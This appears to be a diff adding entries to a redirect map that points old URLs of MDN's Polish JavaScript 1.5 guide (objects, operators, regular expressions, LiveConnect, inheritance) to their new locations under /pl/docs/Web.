+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_i_w%C5%82a%C5%9Bciwo%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_i_w%C5%82asno%C5%9Bci
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_i_w%C5%82asno%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_i_w%C5%82asno%C5%9Bci
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Array /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Array
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Date /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Date
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Math /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Math
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Number /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Number
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_RegExp /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_RegExp
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_String /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_String
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_function /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_function
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_logiczny /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operacje_na_%C5%82a%C5%84cuchach /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operacje_na_%C5%82a%C5%84cuchach
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_arytmetyczne /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_arytmetyczne
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_bitowe /pl/docs/Web/JavaScript/Guide/Expressions_and_Operators#Bitwise_operators
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_logiczne /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_logiczne
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_por%C3%B3wnania /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_por%C3%B3wnania
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_por%C3%B3wnywania /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_por%C3%B3wnania
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_przypisania /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_przypisania
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_specjalne /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_specjalne
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_string /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operacje_na_%C5%82a%C5%84cuchach
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_JavaScriptu /pl/docs/JavaScript/Guide/Przeglad_JavaScript
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_Java_a_JavaScript /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_Java_a_JavaScript
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Konwersja_typu_danych /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Konwersja_typu_danych
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Konwersja_typu_danych/Konwersja_JavaScript_do_Java /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Konwersja_typu_danych/Konwersja_JavaScript_do_Java
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci/Brak_wielokrotnego_dziedziczenia /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#No_multiple_inheritance
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci/Globalne_informacje_w_konstruktorach /pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Globalne_informacje_w_konstruktorach
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci/Globlne_informacje_w_konstruktorach /pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Globalne_informacje_w_konstruktorach
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci/Okre%C5%9Blanie_wzajemnych_relacji_obiektu /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciwo%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciwo%C5%9Bci/Brak_wielokrotnego_dziedziczenia /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#No_multiple_inheritance
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciwo%C5%9Bci/Globalne_informacje_w_konstruktorach /pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Globalne_informacje_w_konstruktorach
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciwo%C5%9Bci/Okre%C5%9Blanie_wzajemnych_relacji_obiektu /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciwo%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Brak_wielokrotnego_dziedziczenia /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#No_multiple_inheritance
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Okre%C5%9Blanie_wzajemnych_relacji_obiektu /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/Tworzenie_hierarchii /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/Tworzenie_hierarchii
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82a%C5%9Bciwo%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82a%C5%9Bciwo%C5%9Bci_obiektu/Dodawanie_w%C5%82a%C5%9Bciwo%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dodawanie_w%C5%82asno%C5%9Bci
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82a%C5%9Bciwo%C5%9Bci_obiektu/Dziedziczenie_w%C5%82a%C5%9Bciwo%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dziedziczenie_w%C5%82asno%C5%9Bci
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dodawanie_w%C5%82asno%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dodawanie_w%C5%82asno%C5%9Bci
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dziedziczenie_w%C5%82asno%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dziedziczenie_w%C5%82asno%C5%9Bci
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi /pl/docs/Web/JavaScript/Guide/Regular_Expressions#Working_with_Regular_Expressions
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi/Globalne_wyszukiwanie,_wielko%C5%9B%C4%87_znak%C3%B3w,_wieloliniowe_wej%C5%9Bcie /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi/Globalne_wyszukiwanie,_wielko%C5%9B%C4%87_znak%C3%B3w,_wieloliniowe_wej%C5%9Bcie
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi/Przyk%C5%82ady_wyra%C5%BCe%C5%84_regularnych /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi/Przyk%C5%82ady_wyra%C5%BCe%C5%84_regularnych
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_zamkni%C4%99ciami /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_zamkni%C4%99ciami
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Przegl%C4%85d_JavaScriptu /pl/docs/JavaScript/Guide/Przeglad_JavaScript
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Sta%C5%82e /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Sta%C5%82e
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_metod /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_metod
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82a%C5%9Bciowo%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82asno%C5%9Bci_typu_obiektu
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82a%C5%9Bciwo%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82asno%C5%9Bci_typu_obiektu
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82asno%C5%9Bci_typu_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82asno%C5%9Bci_typu_obiektu
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82a%C5%9Bciowo%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82asno%C5%9Bci_obiektu
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82a%C5%9Bciwo%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82asno%C5%9Bci_obiektu
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82asno%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82asno%C5%9Bci_obiektu
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/U%C5%BCywanie_'this'_do_obiektu_referencji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_'this'_do_obiektu_referencji
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/U%C5%BCywanie_inicjacji_obiekt%C3%B3w /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/U%C5%BCywanie_inicjacji_obiektu
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/U%C5%BCywanie_inicjacji_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/U%C5%BCywanie_inicjacji_obiektu
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/U%C5%BCywanie_konstruktor%C3%B3w_funkcji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_konstruktor%C3%B3w_funkcji
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Usuwanie_w%C5%82a%C5%9Bciwo%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Usuwanie_w%C5%82asno%C5%9Bci
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Usuwanie_w%C5%82asno%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Usuwanie_w%C5%82asno%C5%9Bci
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_'this'_do_obiektu_referencji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_'this'_do_obiektu_referencji
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_konstruktor%C3%B3w_funkcji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_konstruktor%C3%B3w_funkcji
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_wyra%C5%BCenia_regularnego /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_wyra%C5%BCenia_regularnego
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/U%C5%BCywanie_argument%C3%B3w_tablicy /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zastosowanie_obiektu_arguments
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Unicode /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Unicode
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Warto%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Warto%C5%9Bci
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Wyra%C5%BCenia /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Wyra%C5%BCenia
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Wywo%C5%82anie_funkcji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Wywo%C5%82anie_funkcji
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%C5%BCenia_regularnego /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%C5%BCenia_regularnego
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zastosowanie_obiektu_arguments /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zastosowanie_obiektu_arguments
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zmienne /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zmienne
+/pl/docs/JavaScript/Guide/o_tym_przewodniku /pl/docs/Web/JavaScript/Guide/o_tym_przewodniku
+/pl/docs/JavaScript/Na_pocz%C4%85tek /pl/docs/Web/JavaScript/Na_pocz%C4%85tek
+/pl/docs/JavaScript/New_in_JavaScript /pl/docs/Web/JavaScript/New_in_JavaScript
+/pl/docs/JavaScript/Reference/Global_Objects/Function/toString /pl/docs/Web/JavaScript/Referencje/Obiekty/Function/toString
+/pl/docs/JavaScript/Typed_arrays /pl/docs/Web/JavaScript/Typed_arrays
+/pl/docs/JavaScript:Artyku%C5%82y /pl/docs/JavaScript/Artyku%C5%82y
